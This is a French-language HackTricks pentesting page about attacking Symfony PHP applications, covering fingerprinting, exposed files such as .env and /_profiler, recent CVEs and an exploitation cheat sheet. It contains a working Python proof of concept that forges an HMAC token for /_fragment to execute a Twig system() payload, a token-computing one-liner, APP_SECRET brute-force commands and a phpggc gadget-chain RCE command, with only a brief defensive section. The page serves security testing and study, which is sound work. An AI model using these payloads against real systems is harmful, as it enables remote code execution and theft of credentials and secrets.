Symfony

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Symfony est l'un des frameworks PHP les plus utilisés et apparaßt réguliÚrement dans les évaluations des cibles d'entreprise, de commerce électronique et de CMS (Drupal, Shopware, Ibexa, OroCRM
 tous intÚgrent des composants Symfony). Cette page collecte des conseils offensifs, des configurations incorrectes courantes et des vulnérabilités récentes que vous devriez avoir sur votre liste de contrÎle lorsque vous découvrez une application Symfony.

Note historique : Une grande partie de l'Ă©cosystĂšme utilise encore la branche 5.4 LTS (EOL novembre 2025). VĂ©rifiez toujours la version mineure exacte car de nombreux avis de sĂ©curitĂ© de 2023-2025 ne sont corrigĂ©s que dans des versions de patch (par exemple, 5.4.46 → 5.4.50).


Recon & Enumeration

Finger-printing

  • En-tĂȘtes de rĂ©ponse HTTP : X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link ou cookies commençant par sf_redirect, sf_session, MOCKSESSID.
  • Les fuites de code source (composer.json, composer.lock, /vendor/
) rĂ©vĂšlent souvent la version exacte :
bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Routes publiques qui n'existent que sur Symfony :
  • /_profiler (Symfony Profiler & barre d'outils de dĂ©bogage)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pages d'erreur jolies)
  • /app_dev.php, /config.php, /config_dev.php (contrĂŽleurs frontaux de dĂ©veloppement prĂ©-4.0)
  • Wappalyzer, BuiltWith ou listes de mots ffuf/feroxbuster : symfony.txt → recherchez /_fragment, /_profiler, .env, .htaccess.

Fichiers et points de terminaison intéressants

CheminPourquoi c'est important
/.env, /.env.local, /.env.prodSouvent mal dĂ©ployĂ©s → fuites APP_SECRET, identifiants DB, SMTP, clĂ©s AWS
/.git, .svn, .hgDivulgation de source → identifiants + logique mĂ©tier
/var/log/*.log, /log/dev.logMauvaise configuration de la racine web expose des traces de pile
/_profilerHistorique complet des requĂȘtes, configuration, conteneur de services, APP_SECRET (≀ 3.4)
/_fragmentPoint d'entrée utilisé par ESI/HInclude. Abus possible une fois que vous connaissez APP_SECRET
/vendor/phpunit/phpunit/phpunitRCE PHPUnit si accessible (CVE-2017-9841)
/index.php/_error/{code}Finger-print & parfois fuite des traces d'exception

Vulnérabilités à fort impact (2023-2025)

1. Divulgation de APP_SECRET ➜ RCE via /_fragment (alias “secret-fragment”)

  • CVE-2019-18889 Ă  l'origine, mais apparaĂźt toujours sur des cibles modernes lorsque le dĂ©bogage est laissĂ© activĂ© ou que .env est exposĂ©.
  • Une fois que vous connaissez le APP_SECRET de 32 caractĂšres, crĂ©ez un jeton HMAC et abusez du contrĂŽleur interne render() pour exĂ©cuter du Twig arbitraire :
python
# PoC – nĂ©cessite le secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef
')
payload = "{{['id']|filter('system')}}"   # RCE dans Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Excellent article et script d'exploitation : blog Ambionics (liĂ© dans les rĂ©fĂ©rences).

2. DĂ©tournement de processus Windows – CVE-2024-51736

  • Le composant Process recherchait le rĂ©pertoire de travail actuel avant PATH sur Windows. Un attaquant capable de tĂ©lĂ©charger tar.exe, cmd.exe, etc. dans une racine web Ă©crivable et de dĂ©clencher Process (par exemple, extraction de fichiers, gĂ©nĂ©ration de PDF) obtient l'exĂ©cution de commandes.
  • CorrigĂ© dans 5.4.50, 6.4.14, 7.1.7.

3. Fixation de session – CVE-2023-46733

  • Le garde d'authentification a rĂ©utilisĂ© un ID de session existant aprĂšs la connexion. Si un attaquant dĂ©finit le cookie avant que la victime ne s'authentifie, il dĂ©tourne le compte aprĂšs la connexion.

4. XSS dans le sandbox Twig – CVE-2023-46734

  • Dans les applications qui exposent des modĂšles contrĂŽlĂ©s par l'utilisateur (CMS admin, constructeur d'e-mails), le filtre nl2br pourrait ĂȘtre abusĂ© pour contourner le sandbox et injecter du JS.

5. Chaßnes de gadgets Symfony 1 (toujours trouvées dans des applications héritées)

  • phpggc symfony/1 system id produit une charge utile Phar qui dĂ©clenche RCE lorsqu'un unserialize() se produit sur des classes telles que sfNamespacedParameterHolder. VĂ©rifiez les points de terminaison de tĂ©lĂ©chargement de fichiers et les wrappers phar://.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculer le jeton HMAC pour /_fragment

bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef
 "template=@App/evil&filter=raw&_format=html"

Bruteforce faible APP_SECRET

bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via exposed Symfony Console

Si bin/console est accessible via php-fpm ou un téléchargement direct en CLI :

bash
php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Utilisez des gadgets de dĂ©sĂ©rialisation dans le rĂ©pertoire de cache ou Ă©crivez un modĂšle Twig malveillant qui sera exĂ©cutĂ© lors de la prochaine requĂȘte.


Notes défensives

  1. Ne jamais déployer le débogage (APP_ENV=dev, APP_DEBUG=1) en production ; bloquez /app_dev.php, /_profiler, /_wdt dans la configuration du serveur web.
  2. Stockez les secrets dans des variables d'environnement ou vault/secrets.local.php, jamais dans des fichiers accessibles via le document-root.
  3. Appliquez la gestion des correctifs – abonnez-vous aux avis de sĂ©curitĂ© Symfony et maintenez au moins le niveau de correctif LTS.
  4. Si vous utilisez Windows, mettez à jour immédiatement pour atténuer CVE-2024-51736 ou ajoutez une défense en profondeur open_basedir/disable_functions.

Outils offensifs utiles

  • ambionics/symfony-exploits – RCE de fragment secret, dĂ©couverte de routes de dĂ©bogage.
  • phpggc – ChaĂźnes de gadgets prĂȘtes Ă  l'emploi pour Symfony 1 & 2.
  • sf-encoder – petit outil pour calculer le HMAC de _fragment (implĂ©mentation Go).

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks